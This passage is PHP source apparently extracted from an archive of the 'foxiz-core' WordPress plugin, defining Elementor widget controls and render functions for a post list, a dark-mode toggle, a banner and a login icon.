Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'featured_width', array( 'label' => esc_html__( 'Custom Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => esc_html__( 'Input custom width values (px) for the featured image. Leave blank to set it as the default.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .p-list-small-2 .feat-holder' => 'width: {{VALUE}}px', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::featured_position_description(), 'options' => Options::featured_position_dropdown( false ), 'default' => 'left', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'date' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '-1', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to section 25 ~ 33% of width with 1 column.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4, 5, 6 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4, 5, 6 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'feat_spacing', array( 'label' => esc_html__( 'Custom Featured Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::featured_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--featured-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_small_3' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_small_3( $settings ); } } }elementor/dark-toggle.php000064400000005262147206624460011467 0ustar00start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'light_color', array( 'label' => esc_html__( 'Mode Switcher - Light Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the light mode icon (Sun icon) of the dark mode switcher button to fit with the main navigation color.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .dark-mode-slide .svg-mode-light' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_color', array( 'label' => esc_html__( 'Mode Switcher - Dark Icon Background', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background for the dark mode icon (Moon icon) of the dark mode switcher button to fit with the main navigation color.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .dark-mode-slide .mode-icon-dark' => 'background: {{VALUE}};' ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'flex-start' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'flex-end' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .dark-mode-toggle' => 'justify-content: {{VALUE}};', ), ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_dark_mode_switcher' ) ) { \foxiz_dark_mode_switcher( array( 'dark_mode' => '1' ) ); } } }elementor/banner.php000064400000014757147206624460010545 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Title', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a title for this banner.', 'foxiz-core' ), 'default' => '', ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a description for this banner.', 'foxiz-core' ), 'default' => '', ) ); $this->add_control( 'url', array( 'label' => esc_html__( 'Button Destination URL', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'default' => '', ) ); $this->add_control( 'submit', array( 'label' => esc_html__( 'Button Label', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'default' => '', ) ); $this->add_control( 'e_image', array( 'label' => esc_html__( 'Background Image URL', 'foxiz-core' ), 'description' => esc_html__( 'Input a background image (attachment URL) for this banner.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'e_dark_image', array( 'label' => esc_html__( 'Dark Mode - Background Image URL', 'foxiz-core' ), 'description' => esc_html__( 'Input a background image (attachment URL) for this banner in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'padding', array( 'label' => esc_html__( 'Inner Padding', 'foxiz-core' ), 'type' => Controls_Manager::DIMENSIONS, 'description' => esc_html__( 'Input a custom inner padding value this block.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'size_units' => array( 'px', 'em', '%' ), 'selectors' => [ '{{WRAPPER}} .w-banner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', '{{WRAPPER}} .w-banner-content' => 'min-height: auto' ], ) ); $this->end_controls_section(); $this->start_controls_section( 'size_section', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'title_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size (in px) for the title.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .w-banner-title' => 'font-size: {{VALUE}}px', ), ) ); $this->add_responsive_control( 'desc_size', array( 'label' => esc_html__( 'Description Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size (in px) for the description.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .w-banner-desc.element-desc' => 'font-size: {{VALUE}}px', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .w-banner-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .w-banner-desc.element-desc', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'rb_sidebar_banner' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); \rb_sidebar_banner( $settings ); } } }elementor/login-icon.php000064400000025720147206624460011326 0ustar00start_controls_section( 'general-section', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'header_login_layout', array( 'label' => esc_html__( 'Trigger Button Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a layout for the sign in trigger button.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Icon', 'foxiz' ), '1' => esc_html__( 'Text Button', 'foxiz' ) ), 'default' => '0' ) ); $this->add_control( 'header_login_menu', array( 'label' => esc_html__( 'User Dashboard Menu', 'foxiz-core' ), 'description' => esc_html__( 'Assign a menu for displaying when hovering on the login icon if user logged.', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'multiple' => false, 'options' => $this->get_menus(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'align-section', array( 'label' => esc_html__( 'Align', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom font size for the login icon/button.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .login-toggle svg ' => 'width: {{VALUE}}px; height: {{VALUE}}px;', '{{WRAPPER}} .login-toggle span' => 'font-size: {{VALUE}}px;', '{{WRAPPER}} a.is-logged' => 'line-height: {{VALUE}}px;', ), ) ); $this->add_control( 'icon_height', array( 'label' => esc_html__( 'Icon Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom height value for the login icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .login-toggle' => 'line-height: {{VALUE}}px;, height: {{VALUE}}px;', ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'left' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'right' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .widget-h-login' => 'text-align: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'style-section', array( 'label' => esc_html__( 'Icon Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_color', array( 'label' => esc_html__( 'Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the login icon.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .login-toggle' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_icon_color', array( 'label' => esc_html__( 'Dark Mode - Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the login icon in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .login-toggle' => 'color: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'text-button-section', array( 'label' => esc_html__( 'Text Button Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'text_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the text login button.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .login-toggle span' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'button_bg', array( 'label' => esc_html__( 'Button Background', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color for the button.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .login-toggle' => '--g-color: {{VALUE}}; --g-color-90: {{VALUE}}e6;' ), ) ); $this->add_control( 'dark_text_color', array( 'label' => esc_html__( 'Dark Mode - Text Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the text login button.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .login-toggle span' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_button_bg', array( 'label' => esc_html__( 'Dark Mode - Button Background', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color for the login button in the dark mode.', 'foxiz-core' ), 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .login-toggle' => '--g-color: {{VALUE}}; --g-color-90: {{VALUE}}e6;' ), ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Button Font', 'foxiz-core' ), 'name' => 'button_font', 'selector' => '{{WRAPPER}} .login-toggle span', ) ); $this->end_controls_section(); $this->start_controls_section( 'dropdown-section', array( 'label' => esc_html__( 'User Dropdown Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'form_position', array( 'label' 